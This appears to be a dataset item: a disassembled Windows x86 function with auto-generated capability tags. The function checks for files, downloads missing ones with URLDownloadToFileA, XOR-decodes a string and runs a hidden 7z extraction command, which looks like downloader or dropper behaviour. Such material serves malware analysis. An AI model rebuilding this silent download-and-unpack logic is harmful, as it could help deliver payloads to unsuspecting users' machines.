Function at 0x42a300
Capabilities:
Download url
Encode data using xor
Receive data
Set current directory
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x437151
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc8
cmp dword [0x474c48], 0xf
mov edx, 0x474c34
push esi
cmova edx, dword [0x474c34]
xorps xmm0, xmm0
mov ecx, edx
mov dword [ebp - 0x48], 0
push edi
movups xmmword [ebp - 0x58], xmm0
mov dword [ebp - 0x44], 0
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42a350
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x58]
call fcn.00434c10
cmp dword [ebp - 0x44], 0xf
lea eax, [ebp - 0x58]
push 0x46ecdc
cmova eax, dword [ebp - 0x58]
push eax
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov dword [ebp - 0x2c], eax
call eax
mov edi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 8
test eax, eax
je 0x42a397
push eax
call edi
add esp, 4
mov byte [ebp - 0xd], 0
jmp 0x42a39b
mov byte [ebp - 0xd], 1
mov ecx, dword [ebp - 0x44]
cmp ecx, 0xf
jbe 0x42a3d1
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42a3c7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x42a3c7
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00435a73
add esp, 8
cmp byte [ebp - 0xd], 0
mov edx, dword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [ebp - 0x30], edx
je 0x42a410
cmp dword [0x474c48], 0xf
mov ecx, 0x474c34
push 0
cmova ecx, dword [0x474c34]
mov eax, 0x474a9c
cmp dword [0x474ab0], 0xf
push 0
cmova eax, dword [0x474a9c]
push ecx
push eax
push 0
call edx
cmp dword [0x474ba0], 0xf
mov edx, 0x474b8c
xorps xmm0, xmm0
mov dword [ebp - 0x48], 0
cmova edx, dword [0x474b8c]
mov ecx, edx
mov dword [ebp - 0x44], 0
movups xmmword [ebp - 0x58], xmm0
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42a440
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x58]
call fcn.00434c10
cmp dword [ebp - 0x44], 0xf
lea eax, [ebp - 0x58]
push 0x46ecdc
cmova eax, dword [ebp - 0x58]
push eax
call dword [ebp - 0x2c]
add esp, 8
test eax, eax
je 0x42a47a
push eax
call edi
add esp, 4
mov byte [ebp - 0xd], 0
jmp 0x42a47e
mov byte [ebp - 0xd], 1
mov ecx, dword [ebp - 0x44]
cmp ecx, 0xf
jbe 0x42a4b4
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42a4aa
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x42a4aa
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00435a73
add esp, 8
cmp byte [ebp - 0xd], 0
je 0x42a4eb
cmp dword [0x474ba0], 0xf
mov ecx, 0x474b8c
push 0
cmova ecx, dword [0x474b8c]
mov eax, 0x474c7c
cmp dword [0x474c90], 0xf
push 0
cmova eax, dword [0x474c7c]
push ecx
push eax
push 0
call dword [ebp - 0x30]
sub esp, 0x18
mov dword [ebp - 0x3f], 0x89c590de
mov edx, esp
mov dword [ebp - 0x3b], 0xdfcf8b95
mov word [ebp - 0x37], 0xa2
xor ecx, ecx
mov byte [ebp - 0x35], 1
mov dword [ebp - 0x34], edx
nop dword [eax]
lea eax, [ecx - 0x17]
xor byte [ebp + ecx - 0x3f], al
inc ecx
cmp ecx, 9
jb 0x42a510
push ecx
lea eax, [ebp - 0x36]
mov byte [ebp - 0x35], 0
push eax
lea eax, [ebp - 0x3f]
mov ecx, edx
push eax
call fcn.00434240
call fcn.00429620
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x18
mov dword [ebp - 0x34], eax
push 0x32
call eax
push 0x474c34
lea ecx, [ebp - 0xd4]
call fcn.004334e0
push 0x46ece0
lea ecx, [ebp - 0xbc]
mov dword [ebp - 4], 0
call fcn.004331b0
push str.Path
lea ecx, [ebp - 0xa4]
mov byte [ebp - 4], 1
call fcn.004331b0
lea eax, [ebp - 0xa4]
mov byte [ebp - 4], 2
push eax
lea eax, [ebp - 0xbc]
push eax
lea ecx, [ebp - 0x74]
call fcn.0042a020
add esp, 8
mov byte [ebp - 4], 3
cmp dword [ebp - 0x64], 0
jne 0x42a5af
push 0x2b
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
cmp dword [ebp - 0x60], 0xf
lea eax, [ebp - 0x74]
cmova eax, dword [ebp - 0x74]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov ecx, dword [ebp - 0xc4]
mov eax, Ordinal_2
sub eax, ecx
cmp eax, 0xa
jb 0x42accc
cmp dword [ebp - 0xc0], 0xf
lea eax, [ebp - 0xd4]
push ecx
cmova eax, dword [ebp - 0xd4]
push eax
push 0xa
push str.7z.exe_x__
push ecx
push dword [ebp - 0x34]
lea ecx, [ebp - 0x58]
call fcn.004354e0
mov byte [ebp - 4], 4
mov edx, dword [ebp - 0x44]
mov eax, edx
mov ecx, dword [ebp - 0x48]
sub eax, ecx
push 0x15
push str.___y__oC:___nul_2_1
cmp eax, 0x15
jb 0x42a63e
cmp edx, 0xf
lea esi, [ebp - 0x58]
lea eax, [ecx + 0x15]
cmova esi, dword [ebp - 0x58]
add esi, ecx
mov dword [ebp - 0x48], eax
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [esi + 0x15], 0
lea eax, [ebp - 0x58]
jmp 0x42a64b
push dword [ebp - 0x34]
lea ecx, [ebp - 0x58]
push 0x15
call fcn.00435190
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x8c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x7c], xmm0
mov byte [ebp - 4], 6
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov ecx, dword [ebp - 0x44]
cmp ecx, 0xf
jbe 0x42a6aa
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42a6a0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x42a6a0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00435a73
add esp, 8
cmp dword [ebp - 0x78], 0xf
lea edx, [ebp - 0x8c]
xorps xmm0, xmm0
mov dword [ebp - 0x48], 0
cmova edx, dword [ebp - 0x8c]
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x44], 0xf
mov ecx, edx
mov byte [ebp - 0x58], 0
movups xmmword [esi], xmm0
lea eax, [ecx + 1]
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [ebp - 0x5c], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42a6f0
sub ecx, dword [ebp - 0x5c]
push ecx
push edx
mov ecx, esi
call fcn.00434c10
call fcn.00429620
add esp, 0x18
push 0x32
call dword [ebp - 0x34]
cmp dword [0x474be8], 0xf
mov edx, 0x474bd4
xorps xmm0, xmm0
mov dword [ebp - 0x18], 0
cmova edx, dword [0x474bd4]
mov ecx, edx
mov dword [ebp - 0x14], 0
movups xmmword [ebp - 0x28], xmm0
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42a740
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x28]
call fcn.00434c10
cmp dword [ebp - 0x14], 0xf
lea eax, [ebp - 0x28]
push 0x46ecdc
cmova eax, dword [ebp - 0x28]
push eax
call dword [ebp - 0x2c]
add esp, 8
test eax, eax
je 0x42a77a
push eax
call edi
add esp, 4
mov byte [ebp - 0xd], 0
jmp 0x42a77e
mov byte [ebp - 0xd], 1
mov ecx, dword [ebp - 0x14]
cmp ecx, 0xf
jbe 0x42a7b4
mov edx, dword [ebp - 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42a7aa
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x42a7aa
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00435a73
add esp, 8
cmp byte [ebp - 0xd], 0
je 0x42a7eb
cmp dword [0x474be8], 0xf
mov ecx, 0x474bd4
push 0
cmova ecx, dword [0x474bd4]
mov eax, 0x474c4c
cmp dword [0x474c60], 0xf
push 0
cmova eax, dword [0x474c4c]
push ecx
push eax
push 0
call dword [ebp - 0x30]
cmp dword [0x474bb8], 0xf
mov edx, 0x474ba4
xorps xmm0, xmm0
mov dword [ebp - 0x18], 0
cmova edx, dword [0x474ba4]
mov ecx, edx
mov dword [ebp - 0x14], 0
movups xmmword [ebp - 0x28], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42a818
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x28]
call fcn.00434c10
cmp dword [ebp - 0x14], 0xf
lea eax, [ebp - 0x28]
push 0x46ecdc
cmova eax, dword [ebp - 0x28]
push eax
call dword [ebp - 0x2c]
add esp, 8
test eax, eax
je 0x42a852
push eax
call edi
add esp, 4
mov byte [ebp - 0xd], 0
jmp 0x42a856
mov byte [ebp - 0xd], 1
mov ecx, dword [ebp - 0x14]
cmp ecx, 0xf
jbe 0x42a88c
mov edx, dword [ebp - 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42a882
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x42a882
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00435a73
add esp, 8
cmp byte [ebp - 0xd], 0
je 0x42a8c3
cmp dword [0x474bb8], 0xf
mov ecx, 0x474ba4
push 0
cmova ecx, dword [0x474ba4]
mov eax, 0x474a84
cmp dword [0x474a98], 0xf
push 0
cmova eax, dword [0x474a84]
push ecx
push eax
push 0
call dword [ebp - 0x30]
cmp dword [0x474c30], 0xf
mov edx, 0x474c1c
xorps xmm0, xmm0
mov dword [ebp - 0x18], 0
cmova edx, dword [0x474c1c]
mov ecx, edx
mov dword [ebp - 0x14], 0
movups xmmword [ebp - 0x28], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42a8f0
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x28]
call fcn.00434c10
cmp dword [ebp - 0x14], 0xf
lea eax, [ebp - 0x28]
push 0x46ecdc
cmova eax, dword [ebp - 0x28]
push eax
call dword [ebp - 0x2c]
add esp, 8
test eax, eax
je 0x42a92a
push eax
call edi
add esp, 4
mov byte [ebp - 0xd], 0
jmp 0x42a92e
mov byte [ebp - 0xd], 1
mov ecx, dword [ebp - 0x14]
cmp ecx, 0xf
jbe 0x42a964
mov edx, dword [ebp - 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42a95a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x42a95a
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00435a73
add esp, 8
cmp byte [ebp - 0xd], 0
je 0x42a99b
cmp dword [0x474c30], 0xf
mov ecx, 0x474c1c
push 0
cmova ecx, dword [0x474c1c]
mov eax, 0x474b74
cmp dword [0x474b88], 0xf
push 0
cmova eax, dword [0x474b74]
push ecx
push eax
push 0
call dword [ebp - 0x30]
cmp dword [0x474b70], 0xf
mov edx, 0x474b5c
xorps xmm0, xmm0
mov dword [ebp - 0x18], 0
cmova edx, dword [0x474b5c]
mov ecx, edx
mov dword [ebp - 0x14], 0
movups xmmword [ebp - 0x28], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42a9c8
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x28]
call fcn.00434c10
cmp dword [ebp - 0x14], 0xf
lea eax, [ebp - 0x28]
push 0x46ecdc
cmova eax, dword [ebp - 0x28]
push eax
call dword [ebp - 0x2c]
add esp, 8
test eax, eax
je 0x42aa02
push eax
call edi
add esp, 4
mov byte [ebp - 0xd], 0
jmp 0x42aa06
mov byte [ebp - 0xd], 1
mov ecx, dword [ebp - 0x14]
cmp ecx, 0xf
jbe 0x42aa3c
mov edx, dword [ebp - 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42aa32
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x42aa32
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00435a73
add esp, 8
cmp byte [ebp - 0xd], 0
je 0x42aa73
cmp dword [0x474b70], 0xf
mov ecx, 0x474b5c
push 0
cmova ecx, dword [0x474b5c]
mov eax, 0x474b14
cmp dword [0x474b28], 0xf
push 0
cmova eax, dword [0x474b14]
push ecx
push eax
push 0
call dword [ebp - 0x30]
cmp dword [0x474a80], 0xf
mov edx, 0x474a6c
xorps xmm0, xmm0
mov dword [ebp - 0x18], 0
cmova edx, dword [0x474a6c]
mov ecx, edx
mov dword [ebp - 0x14], 0
movups xmmword [ebp - 0x28], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42aaa0
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x28]
call fcn.00434c10
cmp dword [ebp - 0x14], 0xf
lea eax, [ebp - 0x28]
push 0x46ecdc
cmova eax, dword [ebp - 0x28]
push eax
call dword [ebp - 0x2c]
add esp, 8
test eax, eax
je 0x42aada
push eax
call edi
add esp, 4
mov byte [ebp - 0xd], 0
jmp 0x42aade
mov byte [ebp - 0xd], 1
mov ecx, dword [ebp - 0x14]
cmp ecx, 0xf
jbe 0x42ab14
mov edx, dword [ebp - 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42ab0a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x42ab0a
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00435a73
add esp, 8
cmp byte [ebp - 0xd], 0
je 0x42ab4b
cmp dword [0x474a80], 0xf
mov ecx, 0x474a6c
push 0
cmova ecx, dword [0x474a6c]
mov eax, 0x474b44
cmp dword [0x474b58], 0xf
push 0
cmova eax, dword [0x474b44]
push ecx
push eax
push 0
call dword [ebp - 0x30]
mov ecx, dword [ebp - 0x78]
cmp ecx, 0xf
jbe 0x42ab82
mov edx, dword [ebp - 0x8c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42ab78
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42acaa
push ecx
push edx
call fcn.00435a73
add esp, 8
mov ecx, dword [ebp - 0x60]
cmp ecx, 0xf
jbe 0x42abb6
mov edx, dword [ebp - 0x74]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42abac
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42acaa
push ecx
push edx
call fcn.00435a73
add esp, 8
mov ecx, dword [ebp - 0x90]
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x60], 0xf
mov byte [ebp - 0x74], 0
cmp ecx, 7
jbe 0x42ac08
mov edx, dword [ebp - 0xa4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x42abfe
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42acaa
push ecx
push edx
call fcn.00435a73
add esp, 8
mov ecx, dword [ebp - 0xa8]
xor eax, eax
mov dword [ebp - 0x94], 0
mov dword [ebp - 0x90], 7
mov word [ebp - 0xa4], ax
cmp ecx, 7
jbe 0x42ac61
mov edx, dword [ebp - 0xbc]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x42ac57
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42acaa
push ecx
push edx
call fcn.00435a73
add esp, 8
mov ecx, dword [ebp - 0xc0]
xor eax, eax
mov dword [ebp - 0xac], 0
mov dword [ebp - 0xa8], 7
mov word [ebp - 0xbc], ax
cmp ecx, 0xf
jbe 0x42acba
mov edx, dword [ebp - 0xd4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42acb0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x42acb0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00435a73
add esp, 8
mov ecx, dword [ebp - 0xc]
xor eax, eax
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret
call fcn.00428ad0
int3